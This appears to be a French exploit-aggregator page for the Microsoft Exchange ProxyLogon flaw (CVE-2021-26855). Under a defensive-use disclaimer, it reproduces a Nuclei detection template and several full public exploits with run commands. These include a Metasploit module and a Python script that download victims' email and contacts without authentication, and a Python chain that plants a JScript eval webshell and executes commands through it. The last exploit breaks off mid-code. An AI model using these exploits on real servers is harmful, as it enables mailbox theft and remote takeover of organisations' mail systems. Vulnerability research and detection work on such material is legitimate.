Aller au contenu
Appaloosa Scout
Sélection de la langue
fr en

Exploit matérialisé

CVE-2021-26855

CRITICAL KEV

5 exploit(s) public(s) pour cette CVE, 5 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.
Nuclei critical Vérifié
Source

Microsoft Exchange Server SSRF Vulnerability

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2021-26855 -u https://your-target

Template yaml

id: CVE-2021-26855

info:
  name: Microsoft Exchange Server SSRF Vulnerability
  author: madrobot
  severity: critical
  description: This vulnerability is part of an attack chain that could allow remote code execution on Microsoft Exchange Server. The initial attack requires the ability to make an untrusted connection to Exchange server port 443. Other portions of the chain can be triggered if an attacker already has access or can convince an administrator to open a malicious file. Be aware his CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, and CVE-2021-27078.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or further compromise of the affected system.
  remediation: Apply the appropriate security update.
  reference:
    - https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
    - https://proxylogon.com/#timeline
    - https://web.archive.org/web/20210306113850/https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse
    - https://gist.github.com/testanull/324546bffab2fe4916d0f9d1f03ffa09
    - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26855
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2021-26855
    cwe-id: CWE-918
    epss-score: 0.99996
    epss-percentile: 0.99989
    cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_21:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microsoft
    product: exchange_server
    shodan-query:
      - vuln:CVE-2021-26855
      - http.favicon.hash:1768726119
      - http.title:"outlook"
      - cpe:"cpe:2.3:a:microsoft:exchange_server"
    fofa-query:
      - title="outlook"
      - icon_hash=1768726119
    google-query: intitle:"outlook"
  tags: cve2021,cve,ssrf,rce,exchange,oast,microsoft,kev,vkev,vuln

http:
  - raw:
      - |
        GET /owa/auth/x.js HTTP/1.1
        Host: {{Hostname}}
        Cookie: X-AnonResource=true; X-AnonResource-Backend={{interactsh-url}}/ecp/default.flt?~3;

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a0047304502200a42cec7d24dac85b5020977fac5eef729e74a2ab4223078ba2783b053fa35c3022100a1af17eb9da1613806cfa60950bcc013ea5c2e6225cb7d5a2a6cedba8fd4c184:922c64590222798bb761d5b6d8e72950
ExploitDB webapps windows
Source

Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)

Par mekhalleh

Comment tester cet exploit

Exploit web. Déployez une instance vulnérable en lab, servez le script/la requête contre elle et observez la réponse.

ruby 49895.rb

Code rb

# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit)
# Date: 2021-03-02
# Exploit Author: RAMELLA Sébastien
# Vendor Homepage: https://microsoft.com
# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
           Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
           Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).
# Tested on: Microsoft Windows 2012 R2 - Exchange 2016

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# begin auxiliary class
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange ProxyLogon Collector',
        'Description' => %q{
          This module scan for a vulnerability on Microsoft Exchange Server that
          allows an attacker bypassing the authentication and impersonating as the
          admin (CVE-2021-26855).

          By chaining this bug with another post-auth arbitrary-file-write
          vulnerability to get code execution (CVE-2021-27065).

          As a result, an unauthenticated attacker can execute arbitrary commands on
          Microsoft Exchange Server.

          This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012,
          Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009,
          Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010).

          All components are vulnerable by default.
        },
        'Author' => [
          'mekhalleh (RAMELLA Sébastien)' # Module author (Zeop Entreprise)
        ],
        'References' => [
          ['CVE', '2021-26855'],
          ['LOGO', 'https://proxylogon.com/images/logo.jpg'],
          ['URL', 'https://proxylogon.com/'],
          ['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'],
          ['URL', 'http://aka.ms/exchangevulns']
        ],
        'DisclosureDate' => '2021-03-02',
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'AKA' => ['ProxyLogon']
        }
      )
    )

    register_options([
      OptString.new('EMAIL', [true, 'The email account what you want dump']),
      OptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']),
      OptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted'])
    ])

    register_advanced_options([
      OptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512])
    ])
  end

  XMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze

  def grab_contacts
    response = send_xml(soap_findcontacts)
    xml = Nokogiri::XML.parse(response.body)

    data = xml.xpath('//t:Contact', XMLNS)
    if data.empty?
      print_status(' - the user has no contacts')
    else
      write_loot(data.to_s)
    end
  end

  def grab_emails(total_count)
    # get the emails list of the target folder.
    response = send_xml(soap_maillist(total_count))
    xml = Nokogiri::XML.parse(response.body)

    # iteration to download the emails.
    xml.xpath('//t:ItemId', XMLNS).each do |item|
      print_status(" - download item: #{item.values[1]}")
      response = send_xml(soap_download(item.values[0], item.values[1]))
      xml = Nokogiri::XML.parse(response.body)

      message = xml.at_xpath('//t:MimeContent', XMLNS).content
      write_loot(Rex::Text.decode_base64(message))
    end
  end

  def send_xml(data)
    uri = normalize_uri('ecp', 'temp.js')

    received = send_request_cgi(
      'method' => 'POST',
      'uri' => uri,
      'cookie' => "X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;",
      'ctype' => 'text/xml; charset=utf-8',
      'data' => data
    )
    fail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received

    received
  end

  def soap_download(id, change_key)
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <m:GetItem>
            <m:ItemShape>
              <t:BaseShape>IdOnly</t:BaseShape>
              <t:IncludeMimeContent>true</t:IncludeMimeContent>
            </m:ItemShape>
            <m:ItemIds>
              <t:ItemId Id="#{id}" ChangeKey="#{change_key}" />
            </m:ItemIds>
          </m:GetItem>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_findcontacts
    <<~SOAP
      <?xml version='1.0' encoding='utf-8'?>
      <soap:Envelope
      xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
      xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
      xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
      xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
        <soap:Body>
          <m:FindItem Traversal='Shallow'>
            <m:ItemShape>
              <t:BaseShape>AllProperties</t:BaseShape>
            </m:ItemShape>
            <m:IndexedPageItemView MaxEntriesReturned="#{datastore['MaxEntries']}" Offset="0" BasePoint="Beginning" />
            <m:ParentFolderIds>
              <t:DistinguishedFolderId Id='contacts'>
                <t:Mailbox>
                  <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
                </t:Mailbox>
              </t:DistinguishedFolderId>
            </m:ParentFolderIds>
          </m:FindItem>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_mailnum
    <<~SOAP
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
      xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
      xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <m:GetFolder>
            <m:FolderShape>
              <t:BaseShape>Default</t:BaseShape>
            </m:FolderShape>
            <m:FolderIds>
              <t:DistinguishedFolderId Id="#{datastore['FOLDER']}">
                <t:Mailbox>
                  <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
                </t:Mailbox>
              </t:DistinguishedFolderId>
            </m:FolderIds>
          </m:GetFolder>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def soap_maillist(max_entries)
    <<~SOAP
      <?xml version='1.0' encoding='utf-8'?>
      <soap:Envelope
      xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'
      xmlns:t='http://schemas.microsoft.com/exchange/services/2006/types'
      xmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages'
      xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'>
        <soap:Body>
          <m:FindItem Traversal='Shallow'>
            <m:ItemShape>
              <t:BaseShape>AllProperties</t:BaseShape>
            </m:ItemShape>
            <m:IndexedPageItemView MaxEntriesReturned="#{max_entries}" Offset="0" BasePoint="Beginning" />
            <m:ParentFolderIds>
              <t:DistinguishedFolderId Id='#{datastore['FOLDER']}'>
                <t:Mailbox>
                  <t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress>
                </t:Mailbox>
              </t:DistinguishedFolderId>
            </m:ParentFolderIds>
          </m:FindItem>
        </soap:Body>
      </soap:Envelope>
    SOAP
  end

  def write_loot(data)
    loot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '')
    print_good(" - file saved to #{loot_path}")
  end

  def run
    # get the informations about the targeted user account.
    response = send_xml(soap_mailnum)
    if response.body =~ /Success/
      print_status('Connection to the server is successful')
      print_status(" - selected account: #{datastore['EMAIL']}\n")

      # grab contacts.
      print_status('Attempt to dump contacts list for this user')
      grab_contacts

      print_line

      # grab emails.
      print_status('Attempt to dump emails for this user')
      xml = Nokogiri::XML.parse(response.body)
      folder_id = xml.at_xpath('//t:FolderId', XMLNS).values
      print_status(" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})")

      total_count = xml.at_xpath('//t:TotalCount', XMLNS).content
      print_status(" - number of email found: #{total_count}")

      if total_count.to_i > datastore['MaxEntries']
        print_warning(" - number of email recaluled due to max entries: #{datastore['MaxEntries']}")
        total_count = datastore['MaxEntries'].to_s
      end
      grab_emails(total_count)
    end
  end

end
ExploitDB webapps windows
Source

Microsoft Exchange 2019 - Unauthenticated Email Download

Par Gonzalo Villegas

Comment tester cet exploit

Exploit web. Déployez une instance vulnérable en lab, servez le script/la requête contre elle et observez la réponse.

python3 49879.py

Code py

# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download
# Date: 03-11-2021
# Exploit Author: Gonzalo Villegas a.k.a Cl34r
# Vendor Homepage: https://www.microsoft.com/
# Version: OWA Exchange 2013 - 2019
# Tested on: OWA 2016
# CVE : CVE-2021-26855
# Details: checking users mailboxes and automated downloads of emails

import requests
import argparse
import time

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

__proxies__ = {"http": "http://127.0.0.1:8080",
               "https": "https://127.0.0.1:8080"}  # for debug on proxy


# needs to specifies mailbox, will return folder Id if account exists
payload_get_folder_id = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Body>
                    <m:GetFolder>
                        <m:FolderShape>
                            <t:BaseShape>AllProperties</t:BaseShape>
                        </m:FolderShape>
                        <m:FolderIds>
                            <t:DistinguishedFolderId Id="inbox">
                                <t:Mailbox>
                                    <t:EmailAddress>{}</t:EmailAddress>
                                </t:Mailbox>
                            </t:DistinguishedFolderId>
                        </m:FolderIds>
                    </m:GetFolder>
                </soap:Body>
            </soap:Envelope>

"""
# needs to specifies Folder Id and ChangeKey, will return a list of messages Ids (emails)
payload_get_items_id_folder = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
            <soap:Body>
            <m:FindItem Traversal="Shallow">
               <m:ItemShape>
            <BaseShape>AllProperties</BaseShape></m:ItemShape>
               <SortOrder/>
             <m:ParentFolderIds>
                    <t:FolderId Id="{}" ChangeKey="{}"/>
                  </m:ParentFolderIds>
               <QueryString/>
            </m:FindItem>
            </soap:Body>
</soap:Envelope>
"""

# needs to specifies Id (message Id) and ChangeKey (of message too), will return an email from mailbox
payload_get_mail = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
            xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
                <soap:Body>
            <GetItem   xmlns="http://schemas.microsoft.com/exchange/services/2006/messages"
            xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" Traversal="Shallow">
            <ItemShape>
            <t:BaseShape>Default</t:BaseShape>
            </ItemShape>
            <ItemIds>
            <t:ItemId Id="{}" ChangeKey="{}"/>
            </ItemIds>
            </GetItem>
                </soap:Body>
            </soap:Envelope>
"""


def getFQDN(url):
    print("[*] Getting FQDN from headers")
    rs = requests.post(url + "/owa/auth.owa", verify=False, data="evildata")
    if "X-FEServer" in rs.headers:
        return rs.headers["X-FEServer"]
    else:
        print("[-] Can't get FQDN ")
        exit(0)


def extractEmail(url, uri, user, fqdn, content_folderid, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla pwner"}
    from xml.etree import ElementTree as ET
    dom = ET.fromstring(content_folderid)
    for p in dom.findall('.//{http://schemas.microsoft.com/exchange/services/2006/types}Folder'):
        id_folder = p[0].attrib.get("Id")
        change_key_folder = p[0].attrib.get("ChangeKey")
        data = payload_get_items_id_folder.format(id_folder, change_key_folder)
        random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
        rs = requests.post(url + uri, data=data, headers=headers, verify=False)
        if "ErrorAccessDenied" in rs.text:
            print("[*] Denied ;(.. retrying")
            t_uri = uri.split("/")[-1]
            for ru in random_uris:
                print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
                rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
                if "NoError" in rs.text:
                    print("[+] data found, dowloading email")
                    break
        print("[+]Getting mails...")
        dom_messages = ET.fromstring(rs.text)
        messages = dom_messages.find('.//{http://schemas.microsoft.com/exchange/services/2006/types}Items')
        for m in messages:
            id_message = m[0].attrib.get("Id")
            change_key_message = m[0].attrib.get("ChangeKey")
            data = payload_get_mail.format(id_message, change_key_message)
            random_uris = ["auth.js", "favicon.ico", "ssq.js", "ey37sj.js"]
            rs = requests.post(url + uri, data=data, headers=headers, verify=False)
            if "ErrorAccessDenied" in rs.text:
                print("[*] Denied ;(.. retrying")
                t_uri = uri.split("/")[-1]
                for ru in random_uris:
                    print("[*] Retrying with {}".format(uri.replace(t_uri, ru)))
                    rs = requests.post(url + uri.replace(t_uri, ru), data=data, headers=headers, verify=False)
                    if "NoError" in rs.text:
                        print("[+] data found, downloading email")
                        break

            try:
                f = open(path + "/" + user.replace("@", "_").replace(".", "_")+"_"+change_key_message.replace("/", "").replace("\\", "")+".xml", 'w+')
                f.write(rs.text)
                f.close()
            except Exception as e:
                print("[!] Can't write .xml file to path (email): ", e)


def checkURI(url, fqdn):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla hehe"}
    arr_uri = ["//ecp/xxx.js", "/ecp/favicon.ico", "/ecp/auth.js"]
    for uri in arr_uri:
        rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format("thisisnotanvalidmail@pwn.local"),
                           headers=headers)
        #print(rs.content)
        if rs.status_code == 200 and "MessageText" in rs.text:
            print("[+] Valid URI:", uri)
            calculated_domain = rs.headers["X-CalculatedBETarget"].split(".")
            if calculated_domain[-2] in ("com", "gov", "gob", "edu", "org"):
                calculated_domain = calculated_domain[-3] + "." + calculated_domain[-2] + "." + calculated_domain[-1]
            else:
                calculated_domain = calculated_domain[-2] + "." + calculated_domain[-1]
            return uri, calculated_domain
        #time.sleep(1)
    print("[-] No valid URI found ;(")
    exit(0)


def checkEmailBoxes(url, uri, user, fqdn, path):
    headers = {"Cookie": "X-BEResource={}/EWS/Exchange.asmx?a=~1942062522".format(fqdn),
               "Content-Type": "text/xml",
               "User-Agent": "Mozilla hehe"}
    rs = requests.post(url + uri, verify=False, data=payload_get_folder_id.format(user),
                       headers=headers)
    #time.sleep(1)
    #print(rs.content)
    if "ResponseCode" in rs.text and "ErrorAccessDenied" in rs.text:
        print("[*] Valid Email: {} ...but not authenticated ;( maybe not vulnerable".format(user))
    if "ResponseCode" in rs.text and "NoError" in rs.text:
        print("[+] Valid Email Found!: {}".format(user))
        extractEmail(url, uri, user, fqdn, rs.text, path)
    if "ResponseCode" in rs.text and "ErrorNonExistentMailbox" in rs.text:
        print("[-] Not Valid Email: {}".format(user))


def main():
    __URL__ = None
    __FQDN__ = None
    __mailbox_domain__ = None
    __path__ = None
    print("[***** OhhWAA *****]")
    parser = argparse.ArgumentParser(usage="Basic usage python %(prog)s -u <url> -l <users.txt> -p <path>")
    parser.add_argument('-u', "--url", help="Url, provide schema and not final / (eg https://example.org)", required=True)
    parser.add_argument('-l', "--list", help="Users mailbox list", required=True)
    parser.add_argument("-p", "--path", help="Path to write emails in xml format", required=True)
    parser.add_argument('-f', "--fqdn", help="FQDN", required=False, default=None)
    parser.add_argument("-d", "--domain", help="Domain to check mailboxes (eg if .local dont work)", required=False, default=None)
    args = parser.parse_args()
    __URL__ = args.url
    __FQDN__ = args.fqdn
    __mailbox_domain__ = args.domain
    __list_users__ = args.list
    __valid_users__ = []
    __path__ = args.path
    if not __FQDN__:
        __FQDN__ = getFQDN(__URL__)
        print("[+] Got FQDN:", __FQDN__)

    valid_uri, calculated_domain = checkURI(__URL__, __FQDN__)

    if not __mailbox_domain__:
        __mailbox_domain__ = calculated_domain

    list_users = open(__list_users__, "r")
    for user in list_users:
        checkEmailBoxes(__URL__, valid_uri, user.strip()+"@"+__mailbox_domain__, __FQDN__, __path__)

    print("[!!!] FINISHED OhhWAA")


if __name__ == '__main__':
    main()
ExploitDB remote windows
Source

Microsoft Exchange 2019 - Server-Side Request Forgery

Par F5

Comment tester cet exploit

Exploit distant. Ciblez une instance vulnérable isolée (VM/lab), jamais un système de production.

python3 49663.py

Code py

import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

if len(sys.argv) < 2:
    print("使用方式: python PoC.py <target> <email>")
    print("使用方式: python PoC.py mail.btwaf.cn test2@btwaf.cn")
    exit()

proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(4) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % email

print("正在获取Exchange Server " + target+"权限")
print("=============================")
FQDN = "EXCHANGE01"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                        "User-Agent": user_agent},
                  verify=False,proxies=proxies)

if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
    FQDN = ct.headers["X-FEServer"]


ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent},
                   data=autoDiscoverBody,
                    proxies=proxies,
                   verify=False
                   )

if ct.status_code != 200:
    print(ct.status_code)
    print("Autodiscover Error!")
    exit()

if "<LegacyDN>" not in str(ct.content):
    print("Can not get LegacyDN!")
    exit()

legacyDn = str(ct.content).split("<LegacyDN>")[1].split(r"</LegacyDN>")[0]
print("Got DN: " + legacyDn)

mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
    "Content-Type": "application/mapi-http",
    "X-Requesttype": "Connect",
    "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
    "X-Clientapplication": "Outlook/15.0.4815.1002",
    "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
    "User-Agent": user_agent
},
                   data=mapi_body,
                   verify=False,
proxies=proxies
                   )
if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
    print("Mapi Error!")
    exit()

sid = str(ct.content).split("with SID ")[1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)
sid = sid.replace(sid.split("-")[-1],"500")

proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent
},
                   data=proxyLogon_request,
proxies=proxies,
                   verify=False
                   )
if ct.status_code != 241 or not "set-cookie" in ct.headers:
    print("Proxylogon Error!")
    exit()

sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; ",
    "msExchLogonMailbox": "S-1-5-20",
    "User-Agent": user_agent

},
                   json={"filter": {
                       "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                      "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                   verify=False
                   )

if ct.status_code != 200:
    print("GetOAB Error!")
    exit()
oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)

oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
            "properties": {
                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                               "ExternalUrl": "http://ffff/#%s" % shell_content}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=oab_json,
                   verify=False
                   )
if ct.status_code != 200:
    print("Set external url Error!")
    exit()

reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                  "properties": {
                      "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                     "FilePathName": shell_absolute_path}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "msExchLogonMailbox": "S-1-5-20",
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=reset_oab_body,
                   verify=False
                   )

if ct.status_code != 200:
    print("写入shell失败了啊")
    exit()

print("成功了。马上就验证shell是否OK!")
print("POST  shell:https://"+target+"/owa/auth/test11.aspx")
shell_url="https://"+target+"/owa/auth/test11.aspx"
print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
print("正在请求shell")
data=requests.post(shell_url,data={"code":"Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"},verify=False)
if data.status_code != 200:
    print("写入shell失败")
else:
    print("权限如下:"+data.text.split("OAB (Default Web Site)")[0].replace("Name                            : ",""))
ExploitDB webapps windows
Source

Microsoft Exchange 2019 - Server-Side Request Forgery (Proxylogon) (PoC)

Par testanull

Comment tester cet exploit

Exploit web. Déployez une instance vulnérable en lab, servez le script/la requête contre elle et observez la réponse.

python3 49637.py

Code py

# Exploit Title: Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon)
# Date: 2021-03-10
# Exploit Author: testanull
# Vendor Homepage: https://www.microsoft.com
# Version: MS Exchange Server 2013, 2016, 2019
# CVE: 2021-26855, 2021-27065

import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import sys


def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

if len(sys.argv) < 2:
	print("Usage: python PoC.py <target> <email>")
	print("Example: python PoC.py mail.evil.corp haxor@evil.corp")
	exit()
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
target = sys.argv[1]
email = sys.argv[2]
random_name = id_generator(3) + ".js"
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\ahihi.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path

shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["exec_code"],"unsafe");}</script>'
legacyDnPatchByte = "68747470733a2f2f696d6775722e636f6d2f612f7a54646e5378670a0a0a0a0a0a0a0a"
autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % email

print("Attacking target " + target)
print("=============================")
print(legacyDnPatchByte.decode('hex'))
FQDN = "EXCHANGE"
ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                        "User-Agent": user_agent},
                  verify=False)
if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
    FQDN = ct.headers["X-FEServer"]

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
